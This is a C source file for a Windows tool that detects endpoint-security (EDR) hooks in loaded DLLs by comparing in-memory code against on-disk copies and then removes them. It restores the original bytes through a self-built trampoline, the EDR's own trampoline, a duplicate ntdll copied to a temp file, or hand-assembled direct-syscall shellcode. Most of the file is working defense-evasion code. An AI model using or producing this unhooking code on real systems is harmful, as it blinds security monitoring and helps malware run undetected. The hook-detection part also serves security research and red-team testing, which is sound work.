#define PATCH_MAX_SIZE 0x10
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int debugf(const char* fmt, ...) {
|
||||||
|
#if _DEBUG
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
int res = vprintf(fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
return res;
|
||||||
|
#else
|
||||||
|
fmt = 0;
|
||||||
|
return 0;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||||
|
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||||
|
*/
|
||||||
|
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||||
|
for (size_t i = 0; i < len; i++) {
|
||||||
|
if (mem[i] != disk[i]) {
|
||||||
|
size_t patchStartIndex = i;
|
||||||
|
if (NULL != lenPatch) {
|
||||||
|
while (mem[i] != disk[i] && i < len) {
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
*lenPatch = i - patchStartIndex;
|
||||||
|
}
|
||||||
|
return &mem[patchStartIndex];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (NULL != lenPatch) {
|
||||||
|
*lenPatch = 0;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||||
|
* The list is a NULL-terminated array of "diff" elements
|
||||||
|
*/
|
||||||
|
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||||
|
size_t diffSize;
|
||||||
|
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||||
|
DWORD diffsListLen = 4;
|
||||||
|
size_t diffsListI = 0;
|
||||||
|
diff* diffsList = malloc(diffsListLen * sizeof(diff));
|
||||||
|
if (NULL == diffsList) {
|
||||||
|
debugf("bug in malloc in findDiffsInRange\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (diffAddr != NULL && sizeToScan != 0) {
|
||||||
|
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||||
|
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||||
|
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||||
|
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||||
|
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||||
|
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||||
|
diffsList[diffsListI].size = diffSize;
|
||||||
|
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||||
|
diffsListI++;
|
||||||
|
if (diffsListI >= diffsListLen) {
|
||||||
|
diffsListLen *= 2;
|
||||||
|
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
|
||||||
|
if (NULL == diffsList) {
|
||||||
|
debugf("bug in realloc in findDiffsInRange\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
|
||||||
|
if (NULL == diffsList) {
|
||||||
|
debugf("bug in realloc in findDiffsInRange\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
diffsList[diffsListI].mem_ptr = NULL;
|
||||||
|
diffsList[diffsListI].disk_ptr = NULL;
|
||||||
|
diffsList[diffsListI].size = 0;
|
||||||
|
return diffsList;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||||
|
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||||
|
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||||
|
*/
|
||||||
|
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||||
|
diff* list = NULL;
|
||||||
|
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||||
|
nonWritableSection != NULL;
|
||||||
|
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||||
|
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||||
|
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||||
|
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||||
|
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||||
|
LPVOID searchStartMem = sectionAddrMem;
|
||||||
|
LPVOID searchStartDisk = sectionAddrDisk;
|
||||||
|
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||||
|
|
||||||
|
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Dumps the full content of a single file, in a newly allocated buffer
|
||||||
|
*/
|
||||||
|
PBYTE readFullFileW(LPCWSTR fileName) {
|
||||||
|
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||||
|
PBYTE fileContent = malloc(fileSize);
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||||
|
free(fileContent);
|
||||||
|
fileContent = NULL;
|
||||||
|
}
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return fileContent;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Checks is a file extists (and is not a directory)
|
||||||
|
*/
|
||||||
|
BOOL FileExistsW(LPCWSTR szPath)
|
||||||
|
{
|
||||||
|
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||||
|
|
||||||
|
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||||
|
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Looks for a memory needle in a memory haystack
|
||||||
|
*/
|
||||||
|
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||||
|
{
|
||||||
|
if (!haystack)
|
||||||
|
return NULL;
|
||||||
|
if (!haystack_len)
|
||||||
|
return NULL;
|
||||||
|
if (!needle)
|
||||||
|
return NULL;
|
||||||
|
if (!needle_len)
|
||||||
|
return NULL;
|
||||||
|
PBYTE h = haystack;
|
||||||
|
while (haystack_len >= needle_len)
|
||||||
|
{
|
||||||
|
if (!memcmp(h, needle, needle_len))
|
||||||
|
return h;
|
||||||
|
++h;
|
||||||
|
--haystack_len;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||||
|
*/
|
||||||
|
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||||
|
{
|
||||||
|
SIZE_T haystack_len;
|
||||||
|
PVOID haystack;
|
||||||
|
PBYTE patternInExecutableMemory;
|
||||||
|
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||||
|
|
||||||
|
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||||
|
{
|
||||||
|
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mbi.State != MEM_COMMIT) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
haystack = mbi.BaseAddress;
|
||||||
|
haystack_len = mbi.RegionSize;
|
||||||
|
while (haystack_len)
|
||||||
|
{
|
||||||
|
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||||
|
if (!patternInExecutableMemory) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||||
|
return patternInExecutableMemory;
|
||||||
|
}
|
||||||
|
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||||
|
haystack = patternInExecutableMemory + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID unhook(hook* hook, DWORD unhook_method) {
|
||||||
|
if (unhook_method == UNHOOK_NONE) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||||
|
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||||
|
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||||
|
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||||
|
PE* ntdll_mem = NULL;
|
||||||
|
PE* ntdll_disk = NULL;
|
||||||
|
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||||
|
|
||||||
|
diff* patches = hook->list_patches;
|
||||||
|
//merge every small patches into 1 patch to perform a single write
|
||||||
|
diff patch = patches[0];
|
||||||
|
int nb_patches = 0;
|
||||||
|
while (patches[nb_patches].size) {
|
||||||
|
nb_patches++;
|
||||||
|
}
|
||||||
|
diff lastPatch = patches[nb_patches - 1];
|
||||||
|
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||||
|
|
||||||
|
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||||
|
|
||||||
|
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||||
|
switch (unhook_method) {
|
||||||
|
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||||
|
// in this case, it is not really "safe" to use
|
||||||
|
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||||
|
break;
|
||||||
|
|
||||||
|
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||||
|
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||||
|
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||||
|
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||||
|
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||||
|
|
||||||
|
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||||
|
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||||
|
|
||||||
|
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||||
|
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||||
|
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||||
|
|
||||||
|
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||||
|
break;
|
||||||
|
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||||
|
{
|
||||||
|
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||||
|
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||||
|
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||||
|
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||||
|
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||||
|
RtlGetVersion(&versionInformation);
|
||||||
|
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||||
|
DWORD oldProtect;
|
||||||
|
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
PBYTE pShellcode = shellcode;
|
||||||
|
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||||
|
pShellcode += sizeof(mov_eax_syscall_number);
|
||||||
|
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||||
|
pShellcode += sizeof(mov_r10_rcx);
|
||||||
|
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||||
|
pShellcode += sizeof(syscall_ret);
|
||||||
|
DWORD syscallNumber = 0;
|
||||||
|
|
||||||
|
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
|
||||||
|
for (int i = 0; i < 0x10; i++ , scanner++) {
|
||||||
|
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
|
||||||
|
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||||
|
syscallNumber = *pPotentialSycallNumber;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (syscallNumber != 0) {
|
||||||
|
//syscall number found !
|
||||||
|
}
|
||||||
|
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
|
||||||
|
syscallNumber = 0x50; // win10
|
||||||
|
}
|
||||||
|
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||||
|
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||||
|
}
|
||||||
|
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||||
|
syscallNumber = 0x4E; // win8 / 2012
|
||||||
|
}
|
||||||
|
else if (versionInformation.dwMajorVersion <= 6) {
|
||||||
|
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
*((DWORD*)(&shellcode[1])) = syscallNumber;
|
||||||
|
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||||
|
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
|
||||||
|
#if !_WIN64
|
||||||
|
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
#else
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
default:
|
||||||
|
printf("Unhook method does not exist, exiting...");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//actually remove the hook
|
||||||
|
DWORD oldProtect;
|
||||||
|
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||||
|
SIZE_T patch_size = patch.size;
|
||||||
|
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||||
|
(HANDLE)-1, // GetCurrentProcess()
|
||||||
|
&patch_mem_ptr,
|
||||||
|
&patch_size,
|
||||||
|
PAGE_EXECUTE_READWRITE,
|
||||||
|
&oldProtect
|
||||||
|
);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (size_t i = 0; i < patch.size; i++) {
|
||||||
|
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
status = unmonitoredNtProtectVirtualMemory(
|
||||||
|
(HANDLE)-1, // GetCurrentProcess()
|
||||||
|
&patch_mem_ptr,
|
||||||
|
&patch_size,
|
||||||
|
oldProtect,
|
||||||
|
&oldProtect
|
||||||
|
);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (unhook_method) {
|
||||||
|
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||||
|
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||||
|
FreeLibrary(secondNtdll);
|
||||||
|
}
|
||||||
|
DeleteFileW(ntdlolFilePath);
|
||||||
|
break;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||||
|
PE* ntdllPE_mem = NULL;
|
||||||
|
PE* ntdllPE_disk = NULL;
|
||||||
|
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||||
|
|
||||||
|
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||||
|
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||||
|
|
||||||
|
size_t patchSize = 0;
|
||||||
|
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||||
|
|
||||||
|
if (patchSize == 0) {
|
||||||
|
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||||
|
PVOID trampoline = NULL;
|
||||||
|
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||||
|
if (NULL == trampoline) {
|
||||||
|
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return (pNtProtectVirtualMemory)trampoline;
|
||||||
|
}
|
||||||
|
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||||
|
|
||||||
|
#if _WIN64
|
||||||
|
#define JUMP_SIZE 14
|
||||||
|
#else
|
||||||
|
#define JUMP_SIZE 5
|
||||||
|
#endif
|
||||||
|
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (NULL == trampoline) {
|
||||||
|
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD oldProtect;
|
||||||
|
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||||
|
#if _WIN64
|
||||||
|
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||||
|
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||||
|
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||||
|
#else
|
||||||
|
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||||
|
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||||
|
#endif
|
||||||
|
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||||
|
|
||||||
|
return (pNtProtectVirtualMemory)trampoline;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID hookResolver(PBYTE hookAddr) {
|
||||||
|
PBYTE destination = hookAddr;
|
||||||
|
BOOL hasFollowedJmp = FALSE;
|
||||||
|
while (TRUE) {
|
||||||
|
switch (destination[0]) {
|
||||||
|
case 0xE9:
|
||||||
|
{
|
||||||
|
int diff = *((int*)(&destination[1]));
|
||||||
|
destination = &destination[5] + diff;
|
||||||
|
hasFollowedJmp = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
#if _WIN64
|
||||||
|
case 0xFF:
|
||||||
|
{
|
||||||
|
BYTE selector = destination[1];
|
||||||
|
if (selector != 0x25) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
int diff = *((int*)(&destination[2]));
|
||||||
|
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||||
|
destination = (PBYTE)*offsetPtr;
|
||||||
|
hasFollowedJmp = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
default:
|
||||||
|
if (!hasFollowedJmp) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return destination;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||||
|
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||||
|
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||||
|
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
hook* searchHooks(const char* csvFileName) {
|
||||||
|
FILE* csvFile = NULL;
|
||||||
|
DWORD hookListSize = 8;
|
||||||
|
DWORD hookList_i = 0;
|
||||||
|
hook* hooksList = calloc(hookListSize, sizeof(hook));
|
||||||
|
if (NULL == hooksList) {
|
||||||
|
debugf("calloc failed\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if (csvFileName) {
|
||||||
|
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||||
|
perror("CSV file could not be opened:");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL hooksFoundInLastModule = TRUE;
|
||||||
|
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||||
|
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||||
|
if (dll_name.Buffer == NULL) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||||
|
|
||||||
|
if (!hooksFoundInLastModule) {
|
||||||
|
printf("\tNo hooks found in this module.\n");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
hooksFoundInLastModule = FALSE;
|
||||||
|
}
|
||||||
|
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
|
||||||
|
if (csvFile) {
|
||||||
|
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||||
|
currentModuleEntry->DllBase,
|
||||||
|
currentModuleEntry->BaseDllName.Buffer,
|
||||||
|
currentModuleEntry->FullDllName.Buffer
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||||
|
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||||
|
if (NULL == memDLL->exportDirectory) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||||
|
if (NULL == disk_dllContent) {
|
||||||
|
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
PE* diskDLL = PE_create(disk_dllContent, FALSE);
|
||||||
|
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||||
|
|
||||||
|
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||||
|
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||||
|
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||||
|
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||||
|
|
||||||
|
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||||
|
continue;
|
||||||
|
|
||||||
|
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||||
|
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||||
|
|
||||||
|
//check if hook was already detected in this function (due to export aliasing)
|
||||||
|
BOOL alreadyChecked = FALSE;
|
||||||
|
for (size_t i = 0; i < hookList_i; i++) {
|
||||||
|
if (hooksList[i].mem_function == mem_functionStart) {
|
||||||
|
alreadyChecked = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
if (alreadyChecked)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||||
|
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
|
||||||
|
hooksFoundInLastModule = TRUE;
|
||||||
|
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||||
|
if (NULL == jmpTarget) {
|
||||||
|
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||||
|
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||||
|
printf(" ");
|
||||||
|
}
|
||||||
|
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||||
|
|
||||||
|
if (csvFile) {
|
||||||
|
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||||
|
currentModuleEntry->DllBase,
|
||||||
|
currentModuleEntry->BaseDllName.Buffer,
|
||||||
|
currentModuleEntry->FullDllName.Buffer,
|
||||||
|
functionName,
|
||||||
|
jmpTarget,
|
||||||
|
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hookList_i >= hookListSize) {
|
||||||
|
hookListSize *= 2;
|
||||||
|
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||||
|
if (hooksList == NULL) {
|
||||||
|
debugf("realloc failed\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||||
|
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||||
|
hooksList[hookList_i].functionName = functionName;
|
||||||
|
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||||
|
hookList_i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!hooksFoundInLastModule) {
|
||||||
|
printf("\tNo hooks found in this module.\n");
|
||||||
|
}
|
||||||
|
if (csvFileName) {
|
||||||
|
fclose(csvFile);
|
||||||
|
}
|
||||||
|
if (hookList_i >= hookListSize) {
|
||||||
|
hookListSize++;
|
||||||
|
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||||
|
if (NULL == hooksList) {
|
||||||
|
printf("realloc failed\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hooksList[hookList_i].mem_function = NULL;
|
||||||
|
hooksList[hookList_i].disk_function = NULL;
|
||||||
|
hooksList[hookList_i].functionName = NULL;
|
||||||
|
|
||||||
|
return hooksList;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||||
|
*/
|
||||||
|
